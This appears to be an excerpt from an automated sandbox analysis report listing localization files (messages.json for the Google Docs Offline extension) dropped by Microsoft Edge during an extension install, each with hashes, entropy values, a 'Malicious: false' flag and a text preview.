SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
